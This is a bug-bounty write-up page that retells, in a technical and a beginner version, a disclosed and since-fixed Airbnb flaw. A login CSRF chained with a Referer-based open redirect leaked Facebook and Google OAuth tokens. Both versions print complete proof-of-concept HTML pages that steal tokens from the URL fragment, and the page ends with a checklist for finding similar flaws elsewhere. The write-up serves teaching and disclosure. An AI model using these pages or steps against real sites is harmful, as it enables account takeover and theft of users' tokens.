Skip to content
OAuth / SSO Write-up Advanced

Authentication Bypass on airbnb via oauth tokens theft

Airbnb's OAuth flow combined a login CSRF with a Referer-based open redirect, so an attacker could steal OAuth access tokens of Airbnb's identity providers and authenticate as the victim on airbnb.com.

Arne Swinnen Follow

Published on arneswinnen.net

Bounty$5,000 View original

Most (if not all) publicly available examples of OAuth token theft attacks rely on modification of the redirecturi parameter value in the call to an identity provider in order to steal either an authorization code or an accesstoken from an authenticated victim. This requires a non-exact match of redirecturi configured…

Arne Swinnen, on arneswinnen.net

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 11 min read.

TL;DR: Login CSRF in combination with an HTTP Referer header-based open redirect in Airbnb's OAuth login flow could be abused to steal OAuth access tokens of all Airbnb identity providers and eventually authenticate as the victim on Airbnb's website and mobile application. The attack did not rely on a specific OAuth identity provider app configuration flaw (for example wildcards in whitelisted redirect_uri URLs), which made it generic for all of Airbnb's identity providers (Facebook and Google at the time of reporting). Airbnb fixed both the login CSRF and open redirect issues and awarded a $5,000 bounty in the summer of 2016.

Context

Airbnb offered login through external identity providers (Facebook and Google). The flow had two Airbnb-side endpoints: /oauth_connect, which initiates the OAuth call to the provider, and /oauth_callback, which the provider redirects back to. Separately, Airbnb had a redirect-back-after-login feature: an unauthenticated user who browsed to a page that required authentication, such as https://www.airbnb.com/users/edit, was sent to the login page and, after logging in, returned to the page originally requested. That functionality was implemented through Airbnb's redirect_params controller, which was not found vulnerable to external open redirects.

The interesting behaviour was in the OAuth flow for a user who was already logged in to Airbnb when returning from an identity provider. In that case /oauth_callback would automatically redirect the user based on the HTTP Referer header of the initiating OAuth login call to /oauth_connect. That redirect-back was based solely on the Referer header, which an attacker can control by design.

Setup

The attack needs a victim who is authenticated to Facebook or Google in the browser and has an Airbnb account linked to that identity provider, but who is not necessarily logged in to Airbnb. The attacker needs a website under their control to host the PoC pages. Two PoCs were built, one per identity provider, hosted at https://www.arneswinnen.net/airbnb.com.<IDP>.html. The PoC used the www.airbnb.cat localized domain so as not to interfere with any existing Airbnb sessions the victim might have on another localized site.

Finding it

Most publicly available OAuth token theft examples rely on modifying the redirect_uri value in the call to the identity provider, to steal either an authorization code or an access_token from an authenticated victim. That requires a non-exact match of the configured redirect_uri values (wildcards for subdomains or paths) on the identity provider's side. The two token types differ in technique and impact:

  • authorization code: typically stolen via cross-domain leakage of the callback URL, which contains the code GET parameter appended to the redirect_uri by the identity provider on redirection. A common example is theft via the HTTP Referer header when loading cross-domain resources. The impact is typically authentication bypass on the service provider, since the stolen code can be used to log in as the victim there.
  • access_token: typically stolen via a cross-domain open redirect chain, since the access_token comes back in the URL's location fragment (location.hash), which survives cross-domain server-side redirects in all modern browsers. The impact is typically access to the victim's identity provider account with the permissions of the service provider's application there.

During investigation of Airbnb's OAuth setup, several observations changed the picture:

  • Redirect_uri modification to steal authorization codes no longer works: all major identity providers perform an extra server-side check when a service provider exchanges an authorization code for an access token, ensuring the redirect_uri was not tampered with earlier.
  • Major identity providers no longer allow wildcards in whitelisted redirect_uri lists by default; mainly legacy applications remain vulnerable.
  • Theft of an access_token can also result in authentication bypass. Websites of service providers often use the authorization code flow for login, while their mobile application uses locally stored access_tokens of the identity providers. Replacing the stored access_token on a rooted phone with a stolen one lets an attacker authenticate as the victim on the service provider's mobile app.

In Airbnb's case, no tampering of redirect_uri was allowed for either the Facebook or the Google app; only a list of localized Airbnb sites was permitted. However, the Airbnb mobile application did use an identity provider's long-term access_token to authenticate a user transparently, which raised the impact to authentication bypass if an access_token could be stolen.

Exploitation

The root cause is demonstrated first, then the practical exploitation.

Step 1: Confirm the Referer-based redirect

Two airbnb.com/login browser tabs are opened. In the first, the user tries to reach /users/edit, which results in extra redirect_params controller GET parameters being added to the URL. After successfully logging in in the first tab, the user again chooses "Log in with Facebook" via the second tab. By manually changing the HTTP Referer header in the call to https://www.airbnb.cat/oauth_connect and then successfully logging in on Facebook, the user ends up on the changed Referer value's website. The user must be successfully logged in for the final redirect to proceed.

Or watch on YouTube
Airbnb OAuth Login Open Redirect PoC From the original on arneswinnen.net

This only shows the root cause. A practical attack needs three more things: forge a request to the vulnerable endpoint with an arbitrary HTTP Referer header (1) while authenticated to Airbnb (2), and get sensitive data such as OAuth tokens into the URL (3). Forging the request is easy: embedding an external resource in a page under the attacker's control makes the browser send the Referer header with that page's URL automatically.

Step 2: Understand the token transport problem

The OAuth authorization code, communicated back in GET parameters by Facebook and Google, gets lost during the redirections. Both identity providers also offer communication of access_tokens via a URL fragment (the part after a hashtag). URL fragments exist only on the client side and are preserved by the browser during redirects, and are accessible from JavaScript even by the last page in the redirection chain, which is on a completely different origin. Two problems remain:

  • To retrieve URL fragments from the identity providers, the OAuth request to the provider must be modified to add token to the response_type parameter. That request is sent only after the initiating call to https://www.airbnb.cat/oauth_connect, which is where the Referer-based open redirect lives and which is necessary for the overall attack.
  • Airbnb's callback endpoint expects an authorization code via a URL GET parameter from the identity provider. When it receives a URL fragment instead, it considers the authentication attempt invalid and does not perform the final redirect, since the user is not logged in.

Step 3: Solve both problems with Login CSRF

Both issues were solved by exploiting a Login CSRF vulnerability via the same OAuth endpoint, since an OAuth login is initiated via a forgeable GET call to https://www.airbnb.cat/oauth_connect. The attacker first transparently logs the victim, unknowingly, into the attacker's own Airbnb account via an identity provider, and the request to the OAuth endpoint carries the attacker's page as Referer, planting the redirection seed. The victim is now authenticated to Airbnb. Proper OAuth CSRF protection was in place (the state parameter), but since the victim is being authenticated into the attacker's own account, it prevents nothing here.

What is peculiar is that any additional OAuth authentication flow that follows takes exactly the same path, regardless of whether it was successful or not. When the attacker again forces the victim to log in via Facebook or Google, but with response_type set to code,token instead of the normal code, the earlier redirection flow still works. Since the victim is still logged in, a redirect to the arbitrary Referer value planted earlier occurs, this time with URL fragments containing the victim's identity provider OAuth tokens.

Step 4: The PoC pages

The two PoCs follow the same idea:

  1. The victim is authenticated to Facebook or Google in a browser tab and has an Airbnb account linked to them, but is not necessarily logged in to Airbnb.
  2. The victim opens a website under the attacker's control (https://www.arneswinnen.net/airbnb.com.<IDP>.html in the PoC video).
  3. The attacker's website first unknowingly logs the victim in to Airbnb. To avoid interfering with potentially existing Airbnb sessions, the PoC uses the www.airbnb.cat localized domain. Because the login CSRF is performed from the attacker's website, the HTTP Referer header in the request to the Airbnb OAuth login endpoint holds the attacker's website value, planting the seed.
  4. Once the victim is unknowingly logged in to www.airbnb.cat, the attacker makes another Airbnb OAuth authentication request on behalf of the victim, this time directly to Facebook or Google (the second step in the normal OAuth flow), allowing the attacker to set response_type to code,token (URL fragments) instead of code (URL parameters). The redirect_uri value stays exactly the same.
  5. Since the victim is logged in and the previously injected redirect to https://www.arneswinnen.net/airbnb.com.<IDP>.html is still valid, the OAuth tokens in the URL fragments of the identity provider response end up on the attacker's website. A simple JavaScript statement reads the URL fragment and steals the OAuth values for both code and token.
Or watch on YouTube
Airbnb Facebook OAuth Token Theft PoC From the original on arneswinnen.net
Or watch on YouTube
Airbnb Google OAuth Token Theft PoC

The Google PoC page:

HTML
<!DOCTYPE html>
<html>
<body>
<script>
if(window.location.hash) {
  alert(window.location.hash)
  window.stop()
  // Fragment exists
}
</script>
<object id=loginpage data="https://www.airbnb.cat/login/" onload="alert('Login page loaded. Now attempting login'); document.getElementById('googlepage').setAttribute('data', 'https://www.airbnb.cat/oauth_connect?from=google_login&service=google');"></object>
<object id=googlepage width="400" height="50" onload="alert('Logged in & Referer header set. Now redirecting to steal the token!'); window.location = 'https://accounts.google.com/o/oauth2/auth?response_type=code,token&access_type=offline&client_id=622686756548-[redacted].apps.googleusercontent.com&state=WCTSVKIWPIXNFWEBRUIBNBJGJPYIJN&scope=profile+email&redirect_uri=https%3A%2F%2Fwww.airbnb.cat%2Foauth_callback';"></object>
</body>
</html>

The Facebook PoC page:

HTML
<!DOCTYPE html>
<html>
<body>
<script>
if(window.location.hash) {
  alert(window.location.hash)
  window.stop()
}
</script>
<object id=loginpage data="https://www.airbnb.cat/login/" onload="alert('Login page loaded. Now attempting login'); document.getElementById('googlepage').setAttribute('data', 'https://www.airbnb.cat/oauth_connect?from=facebook_login&service=facebook');"></object>
<object id=googlepage width="400" height="50" onload="alert('Logged in & Referer header set. Now redirecting to steal the token!'); window.location = 'https://www.facebook.com/dialog/oauth?response_type=code,token&client_id=138566025676&state=EQITJNHFHJYYDTBPYSQWSAFDLXHGLR&scope=email+user_birthday+user_likes+user_education_history+user_hometown+user_location+user_friends&redirect_uri=https%3A%2F%2Fwww.airbnb.cat%2Foauth_callback';"></object>
</body>
</html>

In both pages, the first <object> loads the Airbnb login page and, on load, points the second <object> at /oauth_connect with the provider-specific from and service parameters. That request carries the attacker's page as Referer, planting the redirect seed. The second <object>'s onload then navigates the browser to the identity provider's authorization endpoint with response_type=code,token, the same redirect_uri as the legitimate flow, and a state value. The script at the top checks window.location.hash: if a fragment is present, it alerts it and calls window.stop().

Step 5: What the attacker gains

  • The code OAuth token, which can be used to authenticate to airbnb.com as the victim, because the redirect_uri was not changed during the attack; only its communication was changed from a GET parameter to a URL fragment.
  • The access_token OAuth token, which can be used to query information about the victim at the identity provider and to authenticate as the victim on the Airbnb mobile application.

Root cause

The /oauth_callback endpoint, when the user was already logged in to Airbnb on returning from an identity provider, redirected the user based on the HTTP Referer header of the initiating call to /oauth_connect. The Referer header is attacker-controllable by design, so this was an open redirect. The OAuth login could be initiated via a forgeable GET call to /oauth_connect, so an attacker could log a victim into the attacker's own account (Login CSRF) and plant the redirect seed. The state parameter did not help because the victim was being authenticated into the attacker's own account. Once the victim was logged in, a second flow with response_type=code,token still followed the planted redirect, delivering the tokens in the URL fragment to the attacker's origin. The redirect_params controller used for the ordinary redirect-back-after-login was not vulnerable; the flaw was specific to the OAuth callback path.

Impact

An attacker could steal OAuth tokens of all of Airbnb's identity providers (Facebook and Google at the time) and authenticate as the victim on Airbnb's website and mobile application. The attack was generic: it did not depend on wildcards or other misconfiguration of the identity provider app's whitelisted redirect_uri. It required the victim to be authenticated to the identity provider and to have an Airbnb account linked to it, and to visit the attacker's page; the victim did not need to be logged in to Airbnb beforehand.

Fix

Airbnb fixed both the login CSRF and the open redirect issues. The report does not describe the specific code changes.

Variants to test

  • Referer-based redirect in OAuth callbacks. Look for callback endpoints that redirect to the Referer of the initiating OAuth call when the user is already logged in. A positive result is a callback that sends the browser to an arbitrary external origin supplied as Referer.
  • Forgeable OAuth initiation. Check whether the OAuth initiation endpoint accepts a GET request that can be triggered cross-site. A positive result is a victim being logged into the attacker's account without interaction beyond loading a page.
  • response_type manipulation. Try adding token to response_type while keeping the same redirect_uri. A positive result is tokens arriving in the URL fragment at the callback, which then follows the planted redirect.
  • Fragment survival across redirects. Chain a server-side redirect after the identity provider response and check whether the fragment reaches an attacker-controlled origin, where JavaScript can read window.location.hash.
  • Mobile token reuse. Where a mobile app stores identity provider access_tokens locally, consider whether a stolen token can be substituted on a rooted device to authenticate as the victim.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 18 min read.

What happened, in plain words

Airbnb let people sign in with their Facebook or Google account instead of creating a separate Airbnb password. That kind of sign-in is called OAuth: you prove who you are to Facebook or Google, and that company hands Airbnb a small piece of data that says "yes, this person is genuine".

Arne Swinnen found a way to make Airbnb's sign-in process hand those pieces of data to a website the attacker controls. With them, the attacker could log in as the victim on Airbnb's website and on Airbnb's mobile app. The trick combined two smaller mistakes: a login form that could be triggered by any website (Login CSRF) and a redirect that trusted a value the browser sends automatically (the HTTP Referer header). Airbnb fixed both and paid a $5,000 bounty in the summer of 2016.

The important part is that the attack did not depend on a misconfiguration in Facebook's or Google's app settings. It worked the same way for both providers, which is what made it generic.

Some background you need first

Before the details make sense, here are the ideas the report leans on. Each one is explained from zero.

What OAuth is

Imagine a members-only club that accepts a reference letter from a bank instead of issuing its own membership card. You go to the bank, prove who you are, and the bank writes a short note that the club accepts. OAuth works like that: Airbnb is the club, Facebook or Google is the bank, and the note is a token.

There are two kinds of note in this story:

  • An authorization code (usually just called a code). It is short-lived and is meant to be exchanged, server to server, for a longer-lived token. Think of it as a claim ticket: you hand it in at the counter and get the real thing.
  • An access_token. This is the longer-lived key. It lets the holder ask the identity provider for information about the user, and in Airbnb's case it also let the mobile app sign the user in silently.

What an identity provider is

An identity provider (IDP) is the company that vouches for you: Facebook or Google here. Airbnb is the service provider: the website you are trying to use.

What a redirect is, and what redirect_uri means

A redirect is the browser being told "you are not staying here, go to this other address instead". When you click "Log in with Facebook", Airbnb sends your browser to Facebook, and Facebook, once you have approved, sends you back to an address Airbnb registered in advance. That return address is the redirect_uri parameter. Identity providers keep a whitelist of allowed redirect_uri values so that nobody can send the answer somewhere else.

What a URL fragment is

A URL can have a part after a # sign, for example https://example.com/page#section. That part is the fragment (also called the location hash). Two things matter about it:

  1. It is never sent to the server. Only the browser sees it.
  2. It survives redirects. If the browser is bounced from one site to another, the fragment stays attached, and JavaScript on the final page can read it with window.location.hash.

That second property is why fragments are useful to an attacker: a token placed in a fragment will follow the browser wherever it is redirected, including to a site the attacker owns.

What the HTTP Referer header is

When your browser loads a page, or an image, or an embedded frame, it usually tells the server where the request came from. That address is the Referer header (the spelling is a historical mistake; it means "referrer"). If you are on https://attacker.example/page.html and that page embeds something from airbnb.com, the request to Airbnb carries Referer: https://attacker.example/page.html.

The key point: a website can control the Referer its visitors send, simply by being the page they are on. That is by design, and it is why any security decision based only on the Referer is unsafe.

What CSRF is, and what Login CSRF is

CSRF stands for Cross-Site Request Forgery. It means one website causes your browser to make a request to another website, using the login you already have there, without you intending it. A classic example is a hidden form that transfers money.

Login CSRF is a variant: the attacker makes your browser log in to the attacker's own account on the target site. That sounds harmless, but it means everything you then do happens inside the attacker's account, and it also means you are now logged in, which unlocks behaviour that only happens for logged-in users.

What an open redirect is

An open redirect is a page on a trusted site that will send the visitor to any address supplied in the request. Attackers use it because the first hop looks legitimate: the link really does start with the trusted domain.

What a rooted phone is

A rooted phone is an Android device where the owner has removed the manufacturer's restrictions and can read and change files that apps keep privately, including stored tokens.

The setup at Airbnb

Airbnb's OAuth login used two endpoints on Airbnb's side:

  • /oauth_connect, which starts the flow by sending the browser to Facebook or Google.
  • /oauth_callback, which is where the identity provider sends the browser back.

Separately, Airbnb had a friendly feature: if you tried to open a page that needs a login, such as https://www.airbnb.com/users/edit, you were sent to the login page and, after logging in, returned to the page you originally wanted. That was handled by a piece of code called the redirect_params controller, and the researcher found it was not vulnerable to open redirects.

The interesting behaviour was elsewhere. If you were already logged in to Airbnb when you came back from Facebook or Google, /oauth_callback would redirect you based on the Referer header of the original call to /oauth_connect. In other words, the return address was taken from a value the browser fills in automatically, and which an attacker's page can therefore set.

What the attacker needs

The victim must be logged in to Facebook or Google in their browser and must have an Airbnb account linked to that provider. The victim does not need to be logged in to Airbnb beforehand.

The attacker needs a website they control, to host the proof-of-concept pages. Two pages were built, one per provider, at https://www.arneswinnen.net/airbnb.com.<IDP>.html. The pages used the www.airbnb.cat localized version of Airbnb so that any existing Airbnb session the victim had on another localized site would not be disturbed.

How the researcher got there

Most published examples of OAuth token theft work by changing the redirect_uri in the request to the identity provider, so that the answer is delivered to the attacker. That only works if the identity provider's whitelist is loose, for example if it allows wildcards for subdomains or paths. The two token types behave differently:

  • authorization code: usually stolen by leaking the callback URL across domains, because the code arrives as a GET parameter on the end of the redirect_uri. A common route is the Referer header when the page loads resources from another domain. The usual impact is authentication bypass on the service provider, because the stolen code can be used to log in as the victim there.
  • access_token: usually stolen through a chain of cross-domain open redirects, because the access_token comes back in the URL fragment, which survives server-side redirects in all modern browsers. The usual impact is access to the victim's identity provider account with the permissions of the service provider's app.

Three observations changed the picture during the investigation:

  • Changing redirect_uri to steal authorization codes no longer works. All major identity providers now do an extra server-side check when a service provider exchanges a code for an access token, confirming the redirect_uri was not tampered with earlier.
  • Major identity providers no longer allow wildcards in whitelisted redirect_uri lists by default. Mainly legacy applications remain vulnerable.
  • Stealing an access_token can also lead to authentication bypass. Service provider websites often use the authorization code flow for login, while their mobile app uses locally stored access_tokens from the identity provider. If an attacker replaces the stored access_token on a rooted phone with a stolen one, they can sign in as the victim on the mobile app.

At Airbnb, neither the Facebook app nor the Google app allowed tampering with redirect_uri; only a list of localized Airbnb sites was permitted. But the Airbnb mobile app did use the identity provider's long-term access_token to sign a user in transparently. That raised the impact of a stolen access_token to full authentication bypass.

Step 1: Confirming the redirect really follows the Referer

The researcher first demonstrated the root cause, without trying to steal anything yet.

  1. Open two browser tabs on airbnb.com/login.
  2. In the first tab, try to reach /users/edit. This adds extra redirect_params controller GET parameters to the URL, because Airbnb remembers where you wanted to go.
  3. Log in successfully in the first tab.
  4. In the second tab, choose "Log in with Facebook" again.
  5. Manually change the HTTP Referer header in the call to https://www.airbnb.cat/oauth_connect, then log in successfully on Facebook.
  6. The browser ends up on the website named in the changed Referer value.

The user must be successfully logged in for the final redirect to happen. That is the whole point: the redirect only fires for a logged-in user, and the destination comes from the Referer.

Or watch on YouTube
Airbnb OAuth Login Open Redirect PoC From the original on arneswinnen.net

The video shows this root cause, not a practical attack. For a real attack, three more things are needed:

  1. Forge a request to the vulnerable endpoint with an arbitrary HTTP Referer header.
  2. Be authenticated to Airbnb at the same time.
  3. Get sensitive data such as OAuth tokens into the URL, so that something useful is actually stolen.

Forging the request is easy. If an attacker's page embeds an external resource, the browser automatically sends that page's address as the Referer. No special tool is needed; the browser does it for you.

Step 2: The problem with where tokens travel

The authorization code that Facebook and Google send back arrives as a GET parameter, and it gets lost during the redirections. Both providers can also send access_tokens in the URL fragment instead. Fragments exist only in the browser, survive redirects, and can be read by JavaScript even on the last page of the chain, which is on a completely different origin.

Two problems remained:

  • To get fragments from the identity provider, the request to the provider must be changed so that token is added to the response_type parameter. But that request is only sent after the initial call to https://www.airbnb.cat/oauth_connect, which is exactly where the Referer-based open redirect lives and which the attack needs.
  • Airbnb's callback endpoint expects an authorization code as a URL GET parameter. If it receives a fragment instead, it treats the login attempt as invalid and does not perform the final redirect, because the user is not logged in.

Step 3: Solving both problems with Login CSRF

Both problems were solved by using a Login CSRF flaw on the same OAuth endpoint, because an OAuth login can be started with a forgeable GET call to https://www.airbnb.cat/oauth_connect.

The attacker first logs the victim, without them noticing, into the attacker's own Airbnb account through an identity provider. Because the request comes from the attacker's page, the Referer header holds the attacker's page address, which plants the redirect seed. The victim is now logged in to Airbnb. Airbnb did have proper OAuth CSRF protection in the form of a state parameter, but it does not help here, because the victim is being logged into the attacker's own account.

What is peculiar is that any further OAuth flow follows exactly the same path, whether it succeeds or not. So when the attacker forces the victim through Facebook or Google again, this time with response_type set to code,token instead of the normal code, the earlier redirect still works. Because the victim is still logged in, the browser is sent to the arbitrary Referer value planted earlier, and this time the URL fragment contains the victim's identity provider OAuth tokens.

Step 4: The two proof-of-concept pages

Both pages follow the same idea:

  1. The victim is logged in to Facebook or Google in a browser tab and has an Airbnb account linked to it, but is not necessarily logged in to Airbnb.
  2. The victim opens a website under the attacker's control (https://www.arneswinnen.net/airbnb.com.<IDP>.html in the video).
  3. The attacker's page first logs the victim in to Airbnb without them knowing. To avoid disturbing any existing Airbnb session, the PoC uses the www.airbnb.cat localized domain. Because the login CSRF comes from the attacker's page, the Referer header on the request to Airbnb's OAuth login endpoint is the attacker's page address, which plants the seed.
  4. Once the victim is logged in to www.airbnb.cat without knowing, the attacker makes another Airbnb OAuth request on the victim's behalf, this time going directly to Facebook or Google (the second step of a normal OAuth flow). That lets the attacker set response_type to code,token (fragments) instead of code (parameters). The redirect_uri value stays exactly the same.
  5. Because the victim is logged in and the earlier redirect to https://www.arneswinnen.net/airbnb.com.<IDP>.html is still valid, the OAuth tokens in the URL fragment of the identity provider's response end up on the attacker's website. A short JavaScript statement reads the fragment and steals both the code and the token.
Or watch on YouTube
Airbnb Facebook OAuth Token Theft PoC From the original on arneswinnen.net
Or watch on YouTube
Airbnb Google OAuth Token Theft PoC

The Google page

HTML
<!DOCTYPE html>
<html>
<body>
<script>
if(window.location.hash) {
  alert(window.location.hash)
  window.stop()
  // Fragment exists
}
</script>
<object id=loginpage data="https://www.airbnb.cat/login/" onload="alert('Login page loaded. Now attempting login'); document.getElementById('googlepage').setAttribute('data', 'https://www.airbnb.cat/oauth_connect?from=google_login&service=google');"></object>
<object id=googlepage width="400" height="50" onload="alert('Logged in & Referer header set. Now redirecting to steal the token!'); window.location = 'https://accounts.google.com/o/oauth2/auth?response_type=code,token&access_type=offline&client_id=622686756548-[redacted].apps.googleusercontent.com&state=WCTSVKIWPIXNFWEBRUIBNBJGJPYIJN&scope=profile+email&redirect_uri=https%3A%2F%2Fwww.airbnb.cat%2Foauth_callback';"></object>
</body>
</html>

Line by line:

  • <!DOCTYPE html>, <html>, <body>: the ordinary skeleton of a web page. Nothing special.
  • <script>: starts a small piece of JavaScript that runs as soon as the page loads.
  • if(window.location.hash) {: checks whether the address bar currently has a fragment, the part after #. On the attacker's page this is normally empty; it becomes non-empty when the identity provider sends the tokens back.
  • alert(window.location.hash): shows the fragment in a pop-up, which is how the researcher proves the tokens arrived.
  • window.stop(): stops the page from loading anything further.
  • // Fragment exists: a comment, ignored by the browser.
  • </script>: ends the script.
  • The first <object>: an embedded frame that loads https://www.airbnb.cat/login/. When it finishes loading, its onload runs: it shows an alert and then changes the second <object>'s data attribute to https://www.airbnb.cat/oauth_connect?from=google_login&service=google. That is the request that starts the OAuth login, and because it comes from the attacker's page, the Referer is the attacker's page. This is the seed being planted.
  • The second <object>: another embedded frame. When it loads, its onload runs and sets window.location to Google's authorization address. That navigates the whole browser to Google, with response_type=code,token so that Google returns both a code and a token, and with redirect_uri=https%3A%2F%2Fwww.airbnb.cat%2Foauth_callback, which is the same return address as the legitimate flow. The state value is the CSRF protection parameter; it is present in the request.
  • </body>, </html>: close the page.

The Facebook page

HTML
<!DOCTYPE html>
<html>
<body>
<script>
if(window.location.hash) {
  alert(window.location.hash)
  window.stop()
}
</script>
<object id=loginpage data="https://www.airbnb.cat/login/" onload="alert('Login page loaded. Now attempting login'); document.getElementById('googlepage').setAttribute('data', 'https://www.airbnb.cat/oauth_connect?from=facebook_login&service=facebook');"></object>
<object id=googlepage width="400" height="50" onload="alert('Logged in & Referer header set. Now redirecting to steal the token!'); window.location = 'https://www.facebook.com/dialog/oauth?response_type=code,token&client_id=138566025676&state=EQITJNHFHJYYDTBPYSQWSAFDLXHGLR&scope=email+user_birthday+user_likes+user_education_history+user_hometown+user_location+user_friends&redirect_uri=https%3A%2F%2Fwww.airbnb.cat%2Foauth_callback';"></object>
</body>
</html>

Line by line:

  • The structure is identical to the Google page: a script that checks for a fragment, then two embedded frames.
  • The first <object> loads the Airbnb login page and, on load, points the second frame at https://www.airbnb.cat/oauth_connect?from=facebook_login&service=facebook. Same purpose as before: start the OAuth login from the attacker's page so the Referer is the attacker's page.
  • The second <object>'s onload sends the browser to Facebook's authorization address, again with response_type=code,token and the same redirect_uri as the legitimate flow. The scope lists the permissions being requested.
  • The script at the top is how the stolen values are read once Facebook sends them back to the attacker's page in the fragment.

In both pages, the first frame plants the redirect seed and the second frame triggers the token-bearing flow. The script at the top is the receiver.

Step 5: What the attacker ends up with

  • The code OAuth token, which can be used to log in to airbnb.com as the victim. This works because the redirect_uri was never changed during the attack; only the way it was communicated changed, from a GET parameter to a URL fragment.
  • The access_token OAuth token, which can be used to ask the identity provider for information about the victim and to log in as the victim on the Airbnb mobile app.

The root cause, put simply

When a user who was already logged in to Airbnb came back from an identity provider, /oauth_callback decided where to send them based on the Referer header of the original call to /oauth_connect. The Referer is something an attacker's page can set just by existing, so this was an open redirect.

On top of that, the OAuth login could be started with a forgeable GET request to /oauth_connect, so an attacker could log a victim into the attacker's own account (Login CSRF) and plant the redirect seed. The state parameter did not help, because the victim was being logged into the attacker's own account. Once the victim was logged in, a second flow with response_type=code,token still followed the planted redirect, delivering the tokens in the fragment to the attacker's origin.

The ordinary redirect-back-after-login feature, handled by the redirect_params controller, was not vulnerable. The flaw was specific to the OAuth callback path.

What the impact was

An attacker could steal OAuth tokens from all of Airbnb's identity providers (Facebook and Google at the time) and log in as the victim on Airbnb's website and mobile app. The attack was generic: it did not depend on wildcards or any other misconfiguration of the identity provider app's whitelisted redirect_uri. It required the victim to be logged in to the identity provider, to have an Airbnb account linked to it, and to visit the attacker's page. The victim did not need to be logged in to Airbnb beforehand.

How it was fixed

Airbnb fixed both the Login CSRF and the open redirect. The report does not describe the specific code changes.

Timeline

  • 04/06/2016: Submitted bug report to Airbnb
  • 08/06/2016: Triaged by Airbnb
  • 18/08/2016: Fixed by Airbnb
  • 27/09/2016: $5,000 bounty awarded by Airbnb
  • 10/06/2017: Permission granted to write blogpost by Airbnb

What to look for in other sites

These are the same checks, phrased as things to try:

  • Referer-based redirect in OAuth callbacks. Look for callback endpoints that redirect to the Referer of the initiating OAuth call when the user is already logged in. A positive result is a callback that sends the browser to an arbitrary external origin supplied as Referer.
  • Forgeable OAuth initiation. Check whether the OAuth initiation endpoint accepts a GET request that can be triggered from another site. A positive result is a victim being logged into the attacker's account without doing anything beyond loading a page.
  • response_type manipulation. Try adding token to response_type while keeping the same redirect_uri. A positive result is tokens arriving in the URL fragment at the callback, which then follows the planted redirect.
  • Fragment survival across redirects. Chain a server-side redirect after the identity provider response and check whether the fragment reaches an attacker-controlled origin, where JavaScript can read window.location.hash.
  • Mobile token reuse. Where a mobile app stores identity provider access_tokens locally, consider whether a stolen token can be substituted on a rooted device to log in as the victim.

Glossary

  • OAuth: a way for one website to let another website confirm who you are, without sharing your password.
  • Identity provider (IDP): the company that vouches for your identity, such as Facebook or Google.
  • Service provider: the website you are trying to use, here Airbnb.
  • Authorization code: a short-lived value handed back after login, meant to be exchanged server-side for a longer-lived token.
  • Access token: a longer-lived key that lets its holder act on your behalf with the identity provider or the app that stored it.
  • Token: a general word for a piece of data that proves or grants access.
  • redirect_uri: the address the identity provider sends the browser back to after login.
  • Whitelist: a list of values that are explicitly allowed, here the permitted redirect_uri addresses.
  • Wildcard: a pattern that matches many values, for example any subdomain, which makes a whitelist looser.
  • URL fragment / location hash: the part of a URL after #. It stays in the browser, is never sent to the server, and survives redirects.
  • GET parameter: a value appended to a URL after ?, such as ?name=value.
  • HTTP Referer header: the address of the page a request came from, sent automatically by the browser.
  • Open redirect: a page on a trusted site that will send the visitor to any address supplied in the request.
  • CSRF (Cross-Site Request Forgery): one website causing your browser to make a request to another site using your existing login there.
  • Login CSRF: a CSRF variant where the attacker logs you into the attacker's own account.
  • state parameter: an OAuth value meant to protect against CSRF by tying a response to the request that started it.
  • response_type: the OAuth parameter that says what the identity provider should return, for example code or code,token.
  • scope: the list of permissions being requested from the identity provider.
  • Endpoint: a specific address on a website that performs a specific function, such as /oauth_connect.
  • Controller: the part of a web application that handles a particular request.
  • Authentication bypass: getting into an account without knowing its credentials.
  • Rooted phone: an Android device where the owner has removed manufacturer restrictions and can read and change files apps keep privately.
  • Bounty: a reward paid by a company for a security report it accepts.
  • Triaged: reviewed and confirmed as a real issue by the company's security team.

More by Arne Swinnen

View all

6 more disclosed reports, best first.

More from Airbnb

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

OAuth and single sign-on flaws

The lesson behind this report.

Mistakes in OAuth, OpenID Connect, SAML or token handling that leak codes and tokens or link an attacker's identity to a victim's account.